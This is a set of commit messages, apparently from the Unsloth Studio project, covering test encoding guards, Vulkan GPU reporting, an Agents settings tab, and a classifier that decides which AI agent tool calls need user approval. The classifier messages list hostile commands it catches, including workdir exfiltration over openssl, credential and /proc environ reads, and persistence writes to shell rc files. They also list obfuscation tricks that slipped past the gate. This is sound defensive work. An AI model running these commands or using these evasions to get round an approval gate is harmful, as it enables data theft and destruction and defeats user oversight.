the walker's stated coverage of class bodies. Helpers are now collected from
the module body and from class bodies at any nesting.
Verified: 15 targeted cases including all three fixes and the earlier ones
still classify correctly; still 22 offenders on unpatched main; green on this
branch and on the tree merged with latest main.
* Handle positional read_text encodings, lazy generators and nested helpers
* Guard reads reached from test bodies, unbound Path calls and __file__ paths
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Follow derived paths, skip lazy generator helpers, cover compressed openers
* Guard the CLI tests, helper parameters and unbound Path arguments
* Discover test roots and follow literal, in-place and tuple-derived paths
* Identify module openers by import, unwrap starred paths, pin subprocess snippets
* Resolve import origins, seed helper locals, follow named generators and parametrize
* Scope imports lexically, list tracked test files, bind unpacked names
* Resolve aliased openers, keyword-only params, destructured targets, next()
* Pin the encoding on subprocess snippets, workflow lint and CLI output for PR #7438
* Harden the CLI encoding guard against detached streams for PR #7438
* Tighten the encoding guard's path and scope analysis for PR #7438
* Resolve path provenance more precisely and keep POSIX stream encodings for PR #7438
* Resolve qualified path classes and scope conditional imports for PR #7438
* Scope CLI stream setup to the entry point and align two encoding pairs for PR #7438
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* fix(studio): report Vulkan GPUs in system UI
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): separate Vulkan inference GPU reporting
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): keep retrying Vulkan probe refreshes
* fix(studio): preserve known zero GPU budgets
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown
Classify local GGUF paths (and cached HF downloads when available) for
diffusion before _kill_process() so unsupported gpu_ids requests return
400 without tearing down the active model. Fixes#7205.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): always pre-download HF GGUF before Vulkan diffusion preflight
Reverts the cached-path shortcut so partial split caches still run
_download_gguf before Phase 1 teardown. Header-only classification from
resolve_local_gguf_path() does not prove the variant is complete.
* Fix inaccurate shared-constant comment and cover the local pre-teardown branch for PR #7415
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add a regression test for the pre-teardown GGUF download for PR #7415
* Tighten the Vulkan diffusion preflight comments for PR #7415
* Trim the Vulkan diffusion preflight comments for PR #7415
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Add Agents settings tab for unsloth start
Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.
Also removes the "New" badge from the System and Chat tabs.
* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode
Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.
* Title Agents tab "Agents (unsloth start)" and move it below Connections
The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.
* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet
- Only probe agent PATH in the desktop app on a loopback backend, so
Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.
* Add interactive Agents command builder
* Add local subagent command guidance
* Add official coding agent icons
* Use client OS for remote commands, fix copy a11y and model wording (#7303)
- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model
* Shell-quote the model, forward the HF token, and fix the quant placeholder
- Quote the --model value in the generated and subagent commands so a local
path with spaces or metacharacters stays a single argument (client-OS aware)
- Pass the saved Hugging Face token to listGgufVariants so gated repos resolve
- Show 'No separate quantization' instead of a stuck 'Loading quantizations...'
when a model has no variants; clear the failure once a later request succeeds
* Fix Agents command discovery and routing
* Unsloth start improvements: download progress, server reuse, and safe model switching (#7313)
* Improve unsloth start runtime lifecycle
* Remove speculative Gemma prompt override
* Polish model download progress output
* Refine unsloth start status output
* Clarify unsloth readiness banner
* Clarify model reuse and switching output
* Queue model switches behind active inference
* Tighten unsloth start model switching
* Reduce model switch bookkeeping
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Studio re-exec compatibility
* Recheck sidecar reservation after inference drain
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pass start marker through child environment
* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313
- Redact minted sk-unsloth keys from the startup-failure log tail: the early
key marker lands in the server log before the model load finishes, so a
load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
swap on another event loop cannot count it as still queued and unload the
model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
weights for every attached session, but the repo ids match so no switch
warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
message does not read as a successful session
- Use taskkill /T in unsloth studio stop so llama-server children stop too
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in start, studio, and inference changes
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326)
Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.
Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.
* Fix Agents builder defaults and flag validation
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Agents variant and provider fallbacks
* Fix local model and Pi subagent edge cases
* Agents tab: flag the Codex row when the loaded model is not GGUF
* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms
* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder
* Preserve cache load ids and path variants in built commands for PR #7312
A GGUF outside the active Hugging Face cache only loads by its snapshot
path, so keep that load_id for --model while still listing the row by repo
id. Path based models carry their quant in --gguf-variant rather than a
":variant" suffix, and the active selection now keeps the variant inference
status reports for them.
* Agents tab: index the intro for agent-name searches and keep long commands inside the panel
* List GGUF variants from the cache the command loads from for PR #7312
A snapshot outside the active Hugging Face cache was offering the remote
variant list, so a quant absent from that snapshot could be selected and
the generated command would fail to load it.
* Agents tab: omit --api-key so the CLI can replay a saved key for the base
* Agents tab: label the indexed heading rows and fall back to the active desktop API base
* Agents tab: name every supported agent in the indexed intro for PR #7303
* Send the cached GGUF load path and fix the agents tab search targets for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the agents tab comments for PR #7303
* Build the agents tab example commands from the active Studio base for PR #7303
* Keep the resident model on its active cache load for PR #7312
* Tighten the agents tab and cached GGUF comments for PR #7312
* Take the agent command shell from the Studio host for PR #7303
* Stop emitting snapshot paths as --model and keep unsloth start searchable for PR #7312
* Pick the command shell from where the CLI runs for PR #7303
* Match a path load by its advertised id and follow the resident model for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep an explicit quantization and retire superseded native-grant labels for PR #7312
* Scope the remembered quant, stop following unloaded models and keep local GGUF paths for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Stop shadowing the path classifier, match snapshot ordering and sequence status polls for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Release stale native-grant picks, keep local GGUF identities and index snapshot aliases for PR #7312
* Index inactive-cache snapshots, widen local GGUF detection and clear retired quants for PR #7312
* Classify cached repos by snapshot, merge repo ids case-insensitively and keep loose GGUFs variantless for PR #7312
* Fix snapshot alias, partial split and mmproj-only handling for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trust scanned model_format and drop incomplete snapshot ids for PR #7312
* Exclude mmproj and partial downloads, keep path case and drop duplicate scan for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restrict revision aliases and require complete snapshot variants for PR #7312
* Index revisions individually and hide partial variants for PR #7312
---------
Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: oobabooga <oobabooga4@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Default tool-call permission to Approve for me, prompting only on high-risk actions
Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.
Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:
- Unset permission_mode normalizes to "auto" at the API boundary and in both
tool loops; the Field defaults are "auto" too. An unrecognized value still
falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
is_high_risk_tool_call classifier: credential/secret path access, privilege
escalation (sudo/su/doas/pkexec), destructive or persistence commands
(rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
(curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
Python prompts on shell escapes, network egress, sensitive reads, and
dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
confirm_tool_calls for "auto" so the safe-only no-stream exception still
applies; the picker and store describe the new behavior.
The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-streaming tool requests working under the auto default
The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).
Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.
* Harden the auto high-risk classifier against review-flagged bypasses
Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:
- Terminal: a non-shell interpreter running inline code (python -c, node -e,
perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
git push --force), and a command synthesized by a command-position
substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
like a terminal call, since it runs arbitrary commands on the MCP server
outside the terminal sandbox; ordinary create/list/read tools still run.
The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Recurse shell -c payloads and literal exec source in the high-risk gate
Second review round on the auto high-risk classifier:
- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
bounded by depth. The sandbox hard-block only recurses for its own smaller
command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
consume their value before the subcommand is read, so the real subcommand
is judged.
- The network exfil check also runs over the assignment-expanded command, so a
curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths
Third review round on the auto high-risk classifier:
- Interpreter inline code in the attached short form (python -c'...',
node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
flag token.
- env -S / --split-string runs its string as a command (screened recursively)
and env -C / --chdir changes the working directory (asks), so a destructive
command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
run_Command) before the execution / sensitive-noun regexes, so camelCase
execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
and re-checked; an unresolved fragment folds to a sentinel so a partial fold
never false-positives.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate substitution-built shell payloads and keep explicit confirm opt-in
Two auto-mode gaps from review:
- A command substitution stashed in a variable and then executed dynamically
(x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
appears as literal command text, so the token scan could not see the real
command and git clean ran without a prompt. Fail closed when a command
substitution coincides with a variable executed as a command. Ordinary
substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
run.
- An explicit confirm_tool_calls=True with no permission_mode is the
pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
the request layer instead of the "auto" product default, so those callers keep
per-call gating rather than only prompting on high-risk calls. A bare unset
request (confirm flag not set) still defaults to auto.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads
Three more auto-mode gaps from review:
- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
"ask" regardless of the request-level tool flags, so a process-wide
--enable-tools policy that forces the loop when the request sets neither
enable_tools nor mcp_enabled still gates every call. Setting only the mode is
inert unless the loop runs, so a passthrough request is unaffected;
external-provider requests are still left untouched.
- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
high-risk terminal set. The terminal executor runs cmd /c on Windows and these
are not in the hard-block set, so del /q file.csv would otherwise run in the
workdir without a prompt.
- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
a Path bound to a variable then joined) is now gated. The python high-risk
folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
already handle the / operator, path constructors, os.path.join, str.join,
f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.
* Gate combined -c, versioned interpreters, busybox, and sensitive chdir
Four more auto-mode classifier gaps from review, plus a sandbox backstop:
- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
(bash -c'...') now have their -c payload screened recursively; the same
cluster handling closes python -Bc inline code. Previously only an exact -c
matched, so bash -lc 'git clean -fd' ran without a prompt.
- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.
- busybox / toybox are treated as command wrappers, so the applet
(busybox rm -rf) is judged instead of the multicall binary, which was slipping
through as an unknown-but-safe command.
- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
gated: the read happens after the directory change so no single token spells
out the sensitive path. Ordinary in-workdir chdirs still run.
- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
Unsloth process against same-UID /proc environ reads in normal sandboxed mode
too, not only in bypass mode, so a classifier miss cannot recover the parent
environment. Best-effort in the sandbox (the child env is already scrubbed), so
a host where prctl is unavailable still runs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden parent proc-env on the sandboxed python path too
The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.
* Tighten the curl/wget exfil check for attached and wget upload flags
The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.
* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps
Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:
- Process-launch wrappers: setsid/exec/builtin forward the command position, so
screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
-Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
GraphQL mutation, mutating HTTP method) still prompts; honestly-named
create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
/etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.
Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.
* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads
Round-two Codex hardening on the auto (Approve-for-me) classifier:
- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
at command position and openssl s_client/s_server. The sandbox has no network
namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
the workdir without a prompt. Local openssl (dgst/enc) and a filename that
merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
purge_index/revoke_token runs outside the terminal sandbox and loses data, so
gate the destructive verb on the name. Non-destructive create/update/list/get
still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
carries no command substitution and is not resolved by assignment expansion,
so it slipped the var-executed check. Fail closed when an array expansion is
run as a command; a benign array print (echo "${a[@]}") is untouched.
Adds regression rows for every new prompt case and its benign counterpart.
* Gate user-level persistence writes in auto mode
Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.
* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove
- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
--request= forms) mutates or deletes a remote resource, so gate it; a plain
download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
. ./script.sh ran the file's contents past the classifier. Block '.' at
command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
was missed because only the literal receiver 'os' was recognized; resolve
import os as ... aliases, matching the existing safety analyzer.
Adds regression rows for each case and its benign counterpart.
* Close three more obfuscation bypasses of the auto-mode gate and hard block
- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
both the high-risk scan and _find_blocked_commands missed it while Bash ran
rm. Decode ANSI-C ($'...') before classifying, in both the terminal
classifier and the blocklist; an ANSI-C string in argument position stays
benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
whose generated content is unscreenable) ran without a prompt; the prior <(
check was unreachable without curl/wget. Gate a process substitution consumed
by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
'remove') bypassed the direct-attribute scan. Track assignment aliases and
getattr with a literal attribute name; a bound list.remove still runs.
Adds regression rows for each case and its benign counterpart.
* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners
- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
kubectl) act through a daemon with host privileges, so a bind mount writes the
real filesystem and escapes the child process workdir and rlimits entirely.
Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
attach/bind/put/update/create) prompts only next to a privilege noun (role,
permission, policy, acl, scope, membership), so assign_issue and add_label
keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
--checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
gunicorn, waitress) exposes the session workdir since the sandbox keeps no
network namespace. A non-server module (python -m pytest, -m pip) still runs.
Adds regression rows for each case and its benign counterpart.
* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions
Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
`pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
prompted. Scope it to the two forms that actually listen: a module after
`-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
`python -Werror` read as eval. Resolve them per interpreter: python -c,
node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
line (`ls -T && echo curl`). Scope the scan to the segment whose command is
actually curl/wget.
Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
`xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.
Adds regression rows for every case and its benign counterpart.
* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases
- `if`/`while`/`until` are followed by a condition the shell runs, so a command
there is at command position. `if rm -rf build; then :; fi` slipped both the
classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
an attached payload: bash still reads the command string from the next token,
so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
--signal TERM, nice -n 5) had its value read as the wrapped command, so
`env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
assignment; only ast.Assign was collected.
Adds regression rows for each case and its benign counterpart.
* Fix two gate regressions and close seven more bypasses
Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
resolved `rm` as a command and was blocked. A keyword only separates where a
command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
consumed `git` and never judged the subcommand. The table is per wrapper now.
New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
`!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
(bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
`getattr(__import__("os"), "remove")` reaches it inline.
Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).
Adds regression rows for each case and its benign counterpart.
* Pin the auto-mode contract with benign and dangerous corpora
The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.
Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).
125 cases, currently 100 percent in both directions.
* Scope four over-prompting checks and close six more gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
positional looked executable and a search whose pattern happened to equal a
gated command name prompted. They only forward after an explicit
-exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
matter which command owned it, so printf '%s' --rsh prompted. It now
requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
(env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
binary at command position covers all three.
New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
--pathspec-from-file. A single positional stays ambiguous with a branch name
and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
instead of letting an unscreened payload through.
Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope two more over-prompting checks and close four gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
`grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
a path boundary, while the real dotfiles still prompt.
New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
command after it was never screened (`env -u` followed by a recursive delete
was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
and history rewriting drop refs and unreachable objects, the same loss the
porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
refund, wire, publish, deploy) are irreversible for the operator even though
they are not destructive in the filesystem sense.
Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
friends). Consistent with the alias/read/coproc/trap family already declined
here: it inverts the denylist into an allowlist and costs real ergonomics for
payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
scripts write to the standard temp directories constantly, so this would
prompt on routine work. Persistence and credential paths are already gated
specifically.
* Resolve command-position globs and keep quoted data out of shell syntax
- A glob at command position is expanded by bash after this scan runs, so
`/bin/r[m] -rf x` was screened under a name that never executes. The
always-on blocklist now resolves such a pattern against the blocked names,
and the classifier asks when a command word cannot be resolved at all. The
test builtins are excluded, and a pattern carrying no literal character
resolves to nothing in particular.
- A dollar-quoted word expands to a single word, so a newline inside it is
data rather than a separator. Decoding it before tokenization made
`printf '%s'` with multiline data read as two commands and the call was
refused outright. The decoded text can no longer introduce shell syntax,
while an escape-obfuscated command name still resolves.
- An attribute name assembled from literals is folded before it is screened,
so a deletion spelled as a concatenation is treated like the plain form. A
name on a filesystem module that cannot be folded at all fails closed, since
there is nothing left to screen.
- An MCP name with no separators never reached the segment boundaries, so a
server-side execution tool was classified as ordinary even though the
previous classifier failed closed on it. The verb and object compounds are
matched directly now, while a name that merely starts with those letters is
left alone.
Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.
* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes
- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
and that spelling was stripped and discarded without ever being screened.
The value is treated as command position now, in the classifier and in the
always-on blocklist. Only the long spellings are read this way: a short -x
belongs to too many other utilities for its neighbour to be a command.
